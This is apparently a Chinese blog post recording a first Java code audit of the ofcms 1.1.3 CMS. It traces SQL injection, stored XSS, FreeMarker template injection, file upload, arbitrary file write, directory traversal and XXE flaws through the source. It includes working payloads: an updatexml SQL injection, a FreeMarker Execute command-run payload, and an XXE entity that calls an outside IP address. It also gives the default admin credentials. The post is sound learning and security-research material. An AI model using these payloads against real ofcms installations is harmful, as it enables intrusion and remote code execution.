安服仔首次Java代审的学与思
前言:
PHP是世界上最好的语言,代审没有那么多弯弯绕绕,要学的也远没有Java那么多……

环境搭建:
本次审计为ofcms 1.1.3版本:https://gitee.com/oufu/ofcms/tree/V1.1.3/
安装部署过程比较简单,就省略不占篇幅了,安装完毕后访问后台地址:
http://localhost:8080/ofcms_admin/admin/login.html
默认账号和密码:admin/123456

审计计划:
抱着实战和学习的态度,首先先问度娘大概存在哪些漏洞,然后自己尝试一个个去挖掘,实在找不到就站在巨人的肩膀上。
0x01 SQL注入:
查看pom.xml,发现没有使用MyBatis,搜索关键字查询可能存在SQL注入的代码,发现使用jfinal Db执行SQL,好几处都做了预编译,然后就放弃了。

于是看看大佬们是怎么操作的,嗯嗯……看了之后我猜测大概率是先通过Web界面寻找敏感的功能点,然后进行审计。在管理后台 -- 代码生成 -- 新增,这里可以输入SQL语句执行

文件路径:src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java
,查看相关代码:

调用Db.update(sql)方法执行输入的SQL语句,跟进该方法,一直跟踪到com.jfinal.plugin.activerecord.DbPro
类的update方法真正执行SQL语句

由于我们可以控制整个SQL语句,这里的预编译并不起作用
Payload:sql=update+of_cms_count+set+day_content_count=updatexml(1,concat(0x7e,(user())),0)+where+site_id=1;

0x02 存储型XSS:
搜索关键字也没找到,emmmmm毕竟刚学Java代审,可能是关键字搜集的还不够。既然是存储型那应该会写入到数据库中,但这种似乎从代码层面似乎不太好挖掘。
继续站在巨人的肩膀上,发现是前台用户评论处存在漏洞,对应代码文件:src/main/java/com/ofsoft/cms/api/v1/CommentApi.java

调用了getParamsMap方法,获取用户提交的所有参数,然后调用Db.getSqlPara方法,ofcms是通过jfinal的调用机制来执行数据库操作,使用#sql指令和#end指令可以完成对sql模板的定义。#sql指令接收一个string类型的参数,用来作为该sql的唯一标识。
可以注意到第34行(Db.getSqlPara("cms.comment.save", params));
,这里的cms.comment指向模板文件,save为方法,Db.getSqlPara方法用于获取完整的SQL语句。


Db.update()方法将数据更新到数据库中,这里是没有进行过滤的


接下来看如何获取前台用户评论的数据,有点复杂或者说以我现在的水平没弄懂也说不清,相关文件:src/main/java/com/ofsoft/cms/front/template/directive/CommentListDirective.java

主要是根据前台url传入的content_id作为SQL查询的条件获取评论数据:

最后利用serVariable方法,利用FreeMarker渲染模板
0x03 模板注入SSTI:
从pom.xml可以看到引入freemarker-2.3.21依赖,该模版引擎是存在模版注入的,在后台管理的模板设置处可以编辑模板文件:

JFinal允许多模板共存,如果想要使用freemarker模板,需要在configConstant配置:
me.setViewType(ViewType.FREE_MARKER);

对应的控制器处理方法为src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
的save方法

直接获取file_content
请求参数,后调用FileUtils.writeString(file, fileContent)
保存我们修改的模板文件内容

writeString方法中,使用 JFinal.me()
调用模板,使用 put 用来替换原来输出response html代码输出到浏览器
任选一个html模板,插入我们的Payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

0x04 文件上传:
在src/main/java/com/ofsoft/cms/admin/controller/ComnController.java
类中的upload方法存在任意文件上传:

追踪getFile方法,发现调用了getFiles方法判断请求是否为MultipartRequest类的实例,若不是则将构造一个新的MultipartRequest来处理指定的请求,调用MultipartRequest类的构造函数,再到wrapMultipartRequest函数。

跟进isSafeFile函数,获取了上传文件名去空并转为小写,检验是否以jsp或jspx结尾,这里可以利用Windows上传特性来绕过:

漏洞证明:

同理,但凡调用了getFile方法的大概率都存在文件上传漏洞:

0x05 任意文件写入:
在src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
TemplateController类的save方法中:

文件名、文件内容都是可控,且对用户输入的文件名是没有过滤../的,最后调用writeString方法写文件我们可以往服务器上写入任意文件

上传之后发现不解析,然后搜索.jsp的关键词,找到src/main/java/com/ofsoft/cms/core/handler/ActionHandler.java

如果jsp文件是放置在statc目录下,则不会被处理,就可以解析JSP了

0x06 有限制的目录遍历/任意文件读取:
文件路径:src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

getTemplates函数,可以看到从前台获取dir、up_dir、res_path值,直接把dir拼接到pathfile,并未对其处理,直接获取pathfile目录下的所有目录dirs和文件files,但是获取的文件后缀只能是html、xml、css、js:
默认读取index.html文件,后判断files是否为空,如果不为空,循环所有文件files和file_name进行对比,有则返回该文件,无则返回所有文件files的第一个文件,最终读取该文件内容

0x07 XML外部实体注入:
在src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java
的expReport方法中,拼接用户输入的j参数生成文件路径,可以进行路径穿越,但限制了后缀名为jrxml,去站点目录搜了下这个后缀名文件,里面的内容其实就是XML。然后调用JasperCompileManager.compileReport()
方法,跟进该方法看看

又调用了JRXmlLoader.load()
,继续追踪

一直跟到调用JRXmlLoader.loadXML()方法,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析


可以利用前面发现的任意文件写入生成一个恶意的jrxml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.0.101:8181/xxe">%xxe; ]>

直接访问url触发xxe:http://localhost:8080/ofcms-admin/admin/reprot/expReport.html?j=test

小结:
有几个漏洞我并没有发现:
- SQL注入:在发现jfinal Db做了预编译后就放弃了。以后得多根据应用功能点来进行审计
- 存储型XSS:了解到了jfinal的调用机制(预定于sql模板及配置)
- 模板注入:了解到了在JFinal框架中使用FreeMarker渲染视图
- XML外部实体注入:了解到了调用JasperCompileManager.compileReport会触发XXE,算是一个经验把
写完这篇文章的时候感觉还是处于很懵比的状态,后续的话会花更多的精力根据应用功能点来进行代码审计,而不是单纯依靠关键词来进行分析追踪,毕竟JAVA框架那么多,那么多第三方库,谁也不知道它是否有封装不安全的方法。另外如果在源码行数不多的情况下,尽可能地把所有控制器都过一遍,这就是体力活了。Java代审慢慢学把……
